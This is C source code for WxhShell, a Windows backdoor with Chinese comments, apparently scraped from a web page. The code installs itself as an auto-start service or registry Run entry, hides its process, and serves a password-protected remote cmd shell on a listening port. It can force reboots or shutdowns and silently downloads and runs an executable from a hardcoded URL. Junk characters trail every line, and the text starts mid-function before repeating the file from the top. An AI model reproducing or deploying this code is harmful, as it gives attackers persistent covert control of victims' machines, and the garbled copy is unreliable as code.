    if(Boot(SHUTDOWN)) $g/h=w@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.L_c"Bc  
    else { dlIYzO<  
    closesocket(wsh); ZDov2W  
    ExitThread(0); @PctBS<s  
    } VKf&}u/  
    break; 5L_`Fw\l  
    } v G9>e&Be  
  // 获取shell 7R# }AQ   
  case 's': { HxcL3Bh$~}  
    CmdShell(wsh); M>}_2G]#F  
    closesocket(wsh); Qkhor-f0  
    ExitThread(0); $48 Z>ij?f  
    break; D3%2O`9  
  } 1Kd6tnX  
  // 退出 mrr~#Bb>  
  case 'x': { 1vtC4`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8m=O408Q  
    CloseIt(wsh); f8`dJ5i  
    break; oR/_{#Mz"  
    } Ps{vN ~}  
  // 离开 a6 1!j>Kx  
  case 'q': { o{^`Y   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Mz [S  
    closesocket(wsh); DUh\x>^  
    WSACleanup(); 1ANb=X|hig  
    exit(1); b6p'%;Y/  
    break; , 2xv  
        } ?_cOU@n  
  } lk[Y6yE  
  } ]vP}K   
e<[ ] W4"A  
  // 提示信息 ;_2+Y^Qb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QR_h#N2h  
} 1j:aGj>{  
  } VCJOWU EO1  
}lT;?|n:h  
  return; .{} 8mFi1  
} qZ&~&f|>e  
|"I)1[7  
// shell模块句柄 ,wXmJ)/WZ  
int CmdShell(SOCKET sock) M.r7^9P  
{ B?- poB&  
STARTUPINFO si; ZfK[o{9>  
ZeroMemory(&si,sizeof(si)); !?/:p.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P^48]Kj7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .T3 m%n  
PROCESS_INFORMATION ProcessInfo; mt`CQz"_  
char cmdline[]="cmd"; 9dBxCdpu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,&qC R sw  
  return 0; eZN"t~\rX  
} U+@U/s%8  
[.1ME lM  
// 自身启动模式 PMV,*`"9"A  
int StartFromService(void) RtzSe$O  
{ PP>6  
typedef struct K,$rG%c zX  
{ n|LpM.  
  DWORD ExitStatus; l{>j8Ln  
  DWORD PebBaseAddress; : -d_  
  DWORD AffinityMask; :dAd5v2f  
  DWORD BasePriority; q!?*M?Oz  
  ULONG UniqueProcessId; a6^_iSk  
  ULONG InheritedFromUniqueProcessId; 2vX $:4  
}   PROCESS_BASIC_INFORMATION; 8W?dWj  
7t:tS7{}  
PROCNTQSIP NtQueryInformationProcess; stBe ^C  
G3%Ju=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _]pu"hZz4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P(TBFu  
XclTyUGoK+  
  HANDLE             hProcess; ;}"Eqq:  
  PROCESS_BASIC_INFORMATION pbi; yxo=eSOM  
m<#12#D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5<R m{  
  if(NULL == hInst ) return 0; n2hV}t9O  
>([,yMIY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3m` >D e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~IS8DW$;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fyA-*)oHv  
c$%*p (zY  
  if (!NtQueryInformationProcess) return 0; nGkSS_X  
=@?[.`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %&| uT  
  if(!hProcess) return 0; R]iV;j|  
"cPg_-n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z+yIP ?s}(  
C?T\5}h  
  CloseHandle(hProcess); G+t:]\  
&Xqxuy ]J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mV$ebFco0  
if(hProcess==NULL) return 0; 4n@lrcq(  
m(6d3P  
HMODULE hMod; ]b!n ;{5  
char procName[255]; -` U |5  
unsigned long cbNeeded; EZ]4cd/i  
EN2SI+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vjlN@ "  
&|~7`  
  CloseHandle(hProcess); /uj^w&l#  
*}d N.IL,  
if(strstr(procName,"services")) return 1; // 以服务启动 ,T<JNd'  
K+F"VW*?  
  return 0; // 注册表启动 _!@:@e)yB{  
} czuIs|_K*  
AcPLJ!y  
// 主模块 d*0 RBgn  
int StartWxhshell(LPSTR lpCmdLine) VNHce H  
{ : ~vodh  
  SOCKET wsl; .qO4ceW2-~  
BOOL val=TRUE; {_-kwg{"(  
  int port=0; uK2HtRY1  
  struct sockaddr_in door; {E:`  
gM\>{ihM'  
  if(wscfg.ws_autoins) Install(); pOc2V  
5mD8$% \8  
port=atoi(lpCmdLine); 3SP";3+  
2@<_,'  
if(port<=0) port=wscfg.ws_port; d-D,Gx]>$  
1^![8>u"  
  WSADATA data; "w'pIUQ3,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,PTM'O@aU#  
>8e)V ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mw/9DrE7/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `$B?TNuch7  
  door.sin_family = AF_INET; ~oa}gJl:}-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -WlYHW  
  door.sin_port = htons(port); c$Kc,`2m7  
:o>=^N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { olE(#}7V  
closesocket(wsl);  $3^M-w  
return 1; \yr9j$  
} p%I'd^}.!  
i6'=]f'{  
  if(listen(wsl,2) == INVALID_SOCKET) { /Sw~<B!8N  
closesocket(wsl); EAGvP&~P  
return 1; hv|a8=U!R  
} = :gKh  
  Wxhshell(wsl); QnWE;zN[7A  
  WSACleanup(); 5H0qMt P  
@:C)^f"  
return 0; :> 0ywg  
pAE (i7  
} yV(#z2|  
79v+ze  
// 以NT服务方式启动 SK}sf9gTv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tOiz tYu  
{ .SD-6GVD  
DWORD   status = 0; .\R9tt}  
  DWORD   specificError = 0xfffffff; tYu<(Z(l)  
'x*C#mt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bY" zK',m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $oBs%.Jp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >Ku4Il+36  
  serviceStatus.dwWin32ExitCode     = 0; :?6HG_9X  
  serviceStatus.dwServiceSpecificExitCode = 0; ~)U50. CH  
  serviceStatus.dwCheckPoint       = 0; SGWb*grt  
  serviceStatus.dwWaitHint       = 0; GY%9V5GB  
7g\v (P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o$*(N  
  if (hServiceStatusHandle==0) return; <fvu) f  
Nw*<e ]uD  
status = GetLastError(); W"c\/]aD  
  if (status!=NO_ERROR) 1<r!9x9G  
{ V~*Gk!+f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $hhXsu=  
    serviceStatus.dwCheckPoint       = 0; lL)f-8DX  
    serviceStatus.dwWaitHint       = 0; \sNgs#{7E7  
    serviceStatus.dwWin32ExitCode     = status; /ox7$|Jyr  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5Z>a}s_i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $6rm;UH  
    return; ~ WWhCRq  
  } tvI<Why\p  
Ei!Z]jeK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k&$ov  
  serviceStatus.dwCheckPoint       = 0; d&+]@ Ii  
  serviceStatus.dwWaitHint       = 0; z% 8`F%2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d%7?913  
} COh#/-`\1  
Fv^zSoi2  
// 处理NT服务事件,比如:启动、停止 *yhA8fJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z@zo~*o  
{ v"k ? e  
switch(fdwControl) ^*ZaqMA  
{ :uCwWv   
case SERVICE_CONTROL_STOP: EO!,rB7I  
  serviceStatus.dwWin32ExitCode = 0; t2d sYU/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sX1DbEjj[o  
  serviceStatus.dwCheckPoint   = 0; 9JA@m  
  serviceStatus.dwWaitHint     = 0; w"' Pn`T  
  { |T<aWZb^=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :h(HKMSk1  
  } ?X|)0o  
  return; [MIgQ.n  
case SERVICE_CONTROL_PAUSE: cY5&1Shb~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 05wkUo:9  
  break; v@\S$qU2  
case SERVICE_CONTROL_CONTINUE: `etw[#~N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |vs5N2_  
  break; DTezG':  
case SERVICE_CONTROL_INTERROGATE: ~+\=X`y  
  break; H$I~Vz[\yb  
}; r2RJb6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); * :L"#20:R  
} Z<X=00,wg  
7KIekL  
// 标准应用程序主函数 y0xBNhev  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >=N-P< %  
{ DT]4C!dh  
K#OL/2^ 5  
// 获取操作系统版本 h@ lz  
OsIsNt=GetOsVer(); al[^pPKZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i@rtt M  
Mq0MtC6-  
  // 从命令行安装 ._rPM>B?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ze0qRLuH!  
c+FTt(\8.  
  // 下载执行文件 .n7@$kq  
if(wscfg.ws_downexe) { s{^B98d+W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tD.#*.7  
  WinExec(wscfg.ws_filenam,SW_HIDE); QM(xMq  
} 38w^=" -T  
lj<Sa  
if(!OsIsNt) { p-s\D_  
// 如果时win9x,隐藏进程并且设置为注册表启动 xa)p ,  
HideProc(); =;Q/bD->  
StartWxhshell(lpCmdLine); $z$^ yjL  
} $@Vn+| Ix  
else cSPQ NYU:  
  if(StartFromService()) FJ0I&FyWs  
  // 以服务方式启动 Jr5S8 c|"  
  StartServiceCtrlDispatcher(DispatchTable); 9QU\J0c/  
else : #a  
  // 普通方式启动 ZxtO.U2  
  StartWxhshell(lpCmdLine); daSe0:daJ  
,b5'<3\  
return 0; t'2A)S  
} ~xqiasE#K  
&PJ;B)b  
!.UE}^TV  
$`lWW6>P  
=========================================== W`x.qumN  
,7wYa&  
xKu#O H  
znrO~OK  
{F<0e^*  
2Hd\>{*  
" 3k'Bje?9~  
sywuS  
#include <stdio.h> y`oj\  
#include <string.h> (utP@d^  
#include <windows.h> z|Y54o3  
#include <winsock2.h> =w3A{h"^  
#include <winsvc.h> ^iONC&r  
#include <urlmon.h> 6 /<Hx@r (  
_*H Hdd5I  
#pragma comment (lib, "Ws2_32.lib") Pg}QRCB@  
#pragma comment (lib, "urlmon.lib") 1o&zA<+NY  
xN*k&!1&  
#define MAX_USER   100 // 最大客户端连接数 $.D )Llcq  
#define BUF_SOCK   200 // sock buffer qWH^/o  
#define KEY_BUFF   255 // 输入 buffer i(% 2t(wf+  
1 *' /B  
#define REBOOT     0   // 重启 g|Lbe4?  
#define SHUTDOWN   1   // 关机 W.^zN'a  
BWxfY^,'&6  
#define DEF_PORT   5000 // 监听端口 O7 ;=g!j  
l 73% y  
#define REG_LEN     16   // 注册表键长度 H~yHSm 3  
#define SVC_LEN     80   // NT服务名长度 ?pZ"7kkD  
_#V&rY&@  
// 从dll定义API E3 % ~!ZC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); brmS J7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t"B3?<?]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ue \A ,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JtO}i{A  
},d^y:m  
// wxhshell配置信息 K~d'*J-  
struct WSCFG { XYvj3+  
  int ws_port;         // 监听端口 anSZWQ  
  char ws_passstr[REG_LEN]; // 口令 __b4dv  
  int ws_autoins;       // 安装标记, 1=yes 0=no $1ovT8  
  char ws_regname[REG_LEN]; // 注册表键名 E n7~wKF  
  char ws_svcname[REG_LEN]; // 服务名 ;+DEU0|pe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Movm1*&=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P%:?"t+J`;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t{c:<nN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *+*W# de.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ND1hZ3(^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x\'3UKQP+^  
RNc:qV<H  
}; ;h1hz^Wq  
 +rv##Z  
// default Wxhshell configuration }<~(9_+  
struct WSCFG wscfg={DEF_PORT, <%YW/k"o  
    "xuhuanlingzhe", HN7tIz@Frc  
    1, /k/X[/WO  
    "Wxhshell", T'}kCnp  
    "Wxhshell", -F?97&G$  
            "WxhShell Service", q;[HUyY,  
    "Wrsky Windows CmdShell Service", $9?:P}$v  
    "Please Input Your Password: ", CF>&mXg\  
  1, * sldv  
  "http://www.wrsky.com/wxhshell.exe", ,Vq$>T@z  
  "Wxhshell.exe" vu)EB!%[  
    }; oz=V|7,  
c@g(_%_|2  
// 消息定义模块 =RHtugwy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A5j? Yts  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J&j5@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; by+xK~>  
char *msg_ws_ext="\n\rExit."; LilK6K  
char *msg_ws_end="\n\rQuit."; B:X%k/{  
char *msg_ws_boot="\n\rReboot..."; S"*k#ao  
char *msg_ws_poff="\n\rShutdown..."; j1`<+YT<#  
char *msg_ws_down="\n\rSave to "; `^Ll@Cx"  
693"Pg8b  
char *msg_ws_err="\n\rErr!"; 2->Lz  
char *msg_ws_ok="\n\rOK!"; SZTn=\  
 p0W<K  
char ExeFile[MAX_PATH]; v' t'{g%  
int nUser = 0; '4M{Xn}@  
HANDLE handles[MAX_USER]; m!KEK\5M?  
int OsIsNt; NxF:s,a6  
W!$U{=  
SERVICE_STATUS       serviceStatus; |Ogh-<|<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1qR$ Yr\  
v)np.j0V7  
// 函数声明 E G+/2o+W  
int Install(void); YZ<z lU  
int Uninstall(void); qeFaY74S  
int DownloadFile(char *sURL, SOCKET wsh); :rM2G@{  
int Boot(int flag); ,Z @I" &H  
void HideProc(void); eyh}O  
int GetOsVer(void); 0rL.~2)V  
int Wxhshell(SOCKET wsl); Lxv;[2XsW)  
void TalkWithClient(void *cs); JkN*hm?  
int CmdShell(SOCKET sock); r-YJ$/J  
int StartFromService(void); 7vXP|8j  
int StartWxhshell(LPSTR lpCmdLine); ll0y@@Iy  
C-A? mIC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W0MgY%Qv[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lv?`+tU2_  
@?e~l:g})g  
// 数据结构和表定义 y0Gblza  
SERVICE_TABLE_ENTRY DispatchTable[] = ~ S<aIk0l  
{ hiibPc?I  
{wscfg.ws_svcname, NTServiceMain}, z2{y<a9;?  
{NULL, NULL} mKu,7nMvF  
}; -BP10-V  
Ms+ekY)  
// 自我安装 OIj.K@Kr  
int Install(void) V'#R1x"3  
{ 7k,BE2]"  
  char svExeFile[MAX_PATH]; q)9n%- YgP  
  HKEY key; 2FaCrc/  
  strcpy(svExeFile,ExeFile); bD=H$)  
*lA+ -gkK*  
// 如果是win9x系统,修改注册表设为自启动 LU;zpXg\  
if(!OsIsNt) { =v^#MU{k?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,mx\ -lWFy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'k]~Q{K$  
  RegCloseKey(key); [K,P)V>K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }F0<8L6%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =r/8~~=  
  RegCloseKey(key); ,,G"EF0A  
  return 0; 2]?=\_T  
    } LZ_0=Xx%  
  } )#z{P[X^  
} 7b08Lo7b  
else { ZHjL8Iq  
,9d]-CuP;  
// 如果是NT以上系统,安装为系统服务 *Sdx:G~gp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9,~7,Py}  
if (schSCManager!=0) ~tWh6-:|{J  
{ c_ncx|dUs  
  SC_HANDLE schService = CreateService xDU \mfeGj  
  ( ?7V~>i8[  
  schSCManager, hFm^Fy[R  
  wscfg.ws_svcname, O$r/ {{I.  
  wscfg.ws_svcdisp, 7'e sJ)2  
  SERVICE_ALL_ACCESS, k L6s49  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q++\< \2  
  SERVICE_AUTO_START, I;"pPJ3G  
  SERVICE_ERROR_NORMAL, >U`G3(#7S  
  svExeFile, d/yF}%0QI  
  NULL, MhCU; !  
  NULL, OWwqCPz.  
  NULL, nl 'MWP  
  NULL, uarfH]T{  
  NULL JqMF9|{H  
  ); }NyQ<,+mq&  
  if (schService!=0) u$^tRz9  
  { WN=0s  
  CloseServiceHandle(schService); 0D2I)E72o  
  CloseServiceHandle(schSCManager); Dh8'og)7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -O\i^?lD;  
  strcat(svExeFile,wscfg.ws_svcname); tXtNK2-1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % Q6 za'25  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Zn8CmE V  
  RegCloseKey(key); ;DK%!."%  
  return 0; ,\v'%,:C  
    } Sp X;nH-D  
  } zsJ# CDm  
  CloseServiceHandle(schSCManager); "."(<c/3  
} MBg[hu%  
} M]r?m@)  
_Z[0:4  
return 1; A`Dx]y  
} ujxr/8mjV  
\wA:58 -j  
// 自我卸载 -%"PqA/1zj  
int Uninstall(void) V_gKl;Kfe8  
{ 7C7.}U  
  HKEY key; At:8+S<?A  
?'P}ZC8P  
if(!OsIsNt) { <r: AJ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B%;MGb o  
  RegDeleteValue(key,wscfg.ws_regname); c$V5E t  
  RegCloseKey(key); [y@*vQw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a,vS{434J  
  RegDeleteValue(key,wscfg.ws_regname); iv$YUM+  
  RegCloseKey(key); ZEI,9`t!  
  return 0; jj[6oNKE1  
  } fYUV[Gm  
} l{Df{1b.  
} L_!ShE  
else { oVy{~D=  
FoK2h!_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _F%`7j  
if (schSCManager!=0) p5#x7*xR6  
{ NV4g5)D&L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OtqFI!ns  
  if (schService!=0) ^MvuFA ,C  
  { AVpg  
  if(DeleteService(schService)!=0) { ]Orx %8QS!  
  CloseServiceHandle(schService); d>hv-n D  
  CloseServiceHandle(schSCManager); (*$bTI/~  
  return 0; jCJcVO>OZ  
  } uAPVR  
  CloseServiceHandle(schService); :82h GU  
  } 2 DW @}[G  
  CloseServiceHandle(schSCManager); v3-' G gM  
} E7A!,A&>  
} m]2xOR_  
{=[>N>"  
return 1; e NIzI]~  
} ]X>yZec  
lDYgt UKG  
// 从指定url下载文件 GF ux?8A:%  
int DownloadFile(char *sURL, SOCKET wsh) s7Agr!>f  
{ sE"s!s/  
  HRESULT hr; )Zr9 `3[  
char seps[]= "/"; G|g^yaq>  
char *token; {]^Ixm-,f  
char *file; p:4jY|q  
char myURL[MAX_PATH]; +& r!%j7  
char myFILE[MAX_PATH]; X .t4;  
C{}_Rb'x  
strcpy(myURL,sURL); E^i]eK*"  
  token=strtok(myURL,seps); D!&(#Vl _  
  while(token!=NULL) y"JR kJ  
  { >aVgI<  
    file=token; yn62NyK  
  token=strtok(NULL,seps); TQ4@|S:OF  
  } Rg?6eN  
So aqmY;+  
GetCurrentDirectory(MAX_PATH,myFILE); !ZBtXt#P  
strcat(myFILE, "\\"); 5WQl?yMP  
strcat(myFILE, file); &N7ji  
  send(wsh,myFILE,strlen(myFILE),0); bKo %Ak,  
send(wsh,"...",3,0); 11=$] K>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); po*G`b;v  
  if(hr==S_OK) s*izhjjX  
return 0; g@`i7qN  
else x}] 56f  
return 1; '%)R}wgV  
NW3 c_]`=  
} 4zug9kFK  
hlTbCl  
// 系统电源模块 F MfpjuHk  
int Boot(int flag) t^t% >9o  
{ taQE r 2Zy  
  HANDLE hToken; YIU3}sJ!  
  TOKEN_PRIVILEGES tkp; d_RgKdR )k  
>tD=t8  
  if(OsIsNt) { aQk&#OQy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |@qw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3r\8v`^>  
    tkp.PrivilegeCount = 1; sE1cvAw9l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4ls:BO;k]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mf}M/Fh  
if(flag==REBOOT) { wBPo{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ITu19WG  
  return 0; [3%mNNk  
} <N<Q9}`V  
else { EeIDlm0o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }\pI`;*O|  
  return 0; PT"}2sR)  
} CSk]c9=  
  } dWqn7+:  
  else { N^^0j,  
if(flag==REBOOT) { |"H 2'L$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~z,o):q1 }  
  return 0; )Q)qz$h@  
} BFLef3~.0  
else { 7>JYwU{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `i7r]  
  return 0; K*6"c.D  
} So:X!ljN(e  
} >}5?`.K~Q*  
s -i|P  
return 1; 0mw1CUx9K  
} V"FQVtTx7  
lame/B&nc  
// win9x进程隐藏模块 'U@o!\=a  
void HideProc(void) (IJNBJb  
{ _|HhT^\P  
3v* ~CQy9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \P\Z<z7jy  
  if ( hKernel != NULL ) '\Xkvi  
  {  EM ,C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MB plhVK8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tt;F-  
    FreeLibrary(hKernel); 1MelHW  
  } v=`yfCX-qX  
Iv`IJQH>  
return; 8:cbr/F<  
} H= dIZ  
{.Tx70kn  
// 获取操作系统版本 ^l &lwSRVt  
int GetOsVer(void) 6( HF)z  
{ [P$Xr6#  
  OSVERSIONINFO winfo; UA[`{rf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DM.lQ0xk  
  GetVersionEx(&winfo); r8k(L{W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $KHm5*;nd  
  return 1; kmB!NxF>)F  
  else !^J;S%MB:K  
  return 0; :qYp%Ub  
} ~zp8%lEe  
"TRS(d|3  
// 客户端句柄模块 E&[5b4D@<  
int Wxhshell(SOCKET wsl) 7]{g^g.9-  
{ 9+.wj/75  
  SOCKET wsh; nhI+xqfn  
  struct sockaddr_in client; P<<$o-a"  
  DWORD myID; J0G@]H  
">uN={Iy  
  while(nUser<MAX_USER) Aoa8Q E   
{ H`EhsYYK  
  int nSize=sizeof(client); gY}In+S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hxu5Dx5![  
  if(wsh==INVALID_SOCKET) return 1; > A#5` $i  
Lx"GBEkt7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $:ush"=f8^  
if(handles[nUser]==0) nD wh  
  closesocket(wsh); "CJVtO  
else j50vPV8m  
  nUser++; MJn-] E  
  } _k84#E0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &|>@K#V8-;  
&(F c .3m  
  return 0; g` rr3jP  
} =]5tYIU  
 T:}Q3  
// 关闭 socket ~o}:!y  
void CloseIt(SOCKET wsh) PK\ZRl  
{ n. %QWhUB  
closesocket(wsh); >KKWhJ  
nUser--; d\z6Ob"t  
ExitThread(0); =j7Du[?Vu  
} dab]>% M  
]>3Y~KH(  
// 客户端请求句柄 )|gw5N4;  
void TalkWithClient(void *cs) 3o.x<G(  
{ M!&Hn,22  
{UNH?2  
  SOCKET wsh=(SOCKET)cs; MBLZ:A| C  
  char pwd[SVC_LEN]; xJq|,":gj  
  char cmd[KEY_BUFF]; Xfiwblg  
char chr[1]; <T 2O^  
int i,j; x6ghO-s  
j#HXuV6  
  while (nUser < MAX_USER) { (m]l -Re  
8PI%Z6  
if(wscfg.ws_passstr) { d)%WaM%V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SX4*804a_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A#U! KX  
  //ZeroMemory(pwd,KEY_BUFF); Koa9W >!  
      i=0; U%3N=M  
  while(i<SVC_LEN) { 6v%yU3l  
^F^g(|(K  
  // 设置超时 |r9<aVlK  
  fd_set FdRead; LI,wSTVjC  
  struct timeval TimeOut; ~Xi@#s~  
  FD_ZERO(&FdRead); oEIpv;:_  
  FD_SET(wsh,&FdRead); Rv1W&s&  
  TimeOut.tv_sec=8;  Y@,iDQ  
  TimeOut.tv_usec=0; K3&xe(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x}G:n[B7_V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hv6h7-  
) f?I{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !gh8 Qs  
  pwd=chr[0]; ?sfqg gi  
  if(chr[0]==0xd || chr[0]==0xa) { O&!R7T  
  pwd=0; &raqrY|V  
  break; 3%vXB=>T!  
  } T(|'.&a  
  i++; I~,.@{4  
    } RpdUR*K9x  
!'f7;%7s  
  // 如果是非法用户,关闭 socket q4ROuE|d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ @[xTyA  
} 5xH=w:  
"*vrrY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y6{^cZ!=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wt($trJ  
==Gc%  
while(1) { 4uF.kz-cg  
8Vu@awz{L  
  ZeroMemory(cmd,KEY_BUFF); Okq,p=D6  
DrRK Sc(u9  
      // 自动支持客户端 telnet标准   =Rd`"]Mnfb  
  j=0; U`v2Yw3E  
  while(j<KEY_BUFF) { <Iw{fj|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k 9i W1  
  cmd[j]=chr[0]; :EX>Y<`]  
  if(chr[0]==0xa || chr[0]==0xd) { fWHvVyQ.  
  cmd[j]=0; 17hoX4T  
  break; ZTmy}@l  
  } s'HsLe0|  
  j++; @9/I^Zk  
    } y3~=8!Tj?Q  
b6k`R4S3  
  // 下载文件 o78u>Oy  
  if(strstr(cmd,"http://")) { sn"((BsO<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ny^ 1#R  
  if(DownloadFile(cmd,wsh)) jY6GWsh:9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %QP[/5vQ  
  else *_D/_Rp7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N{J 1C6  
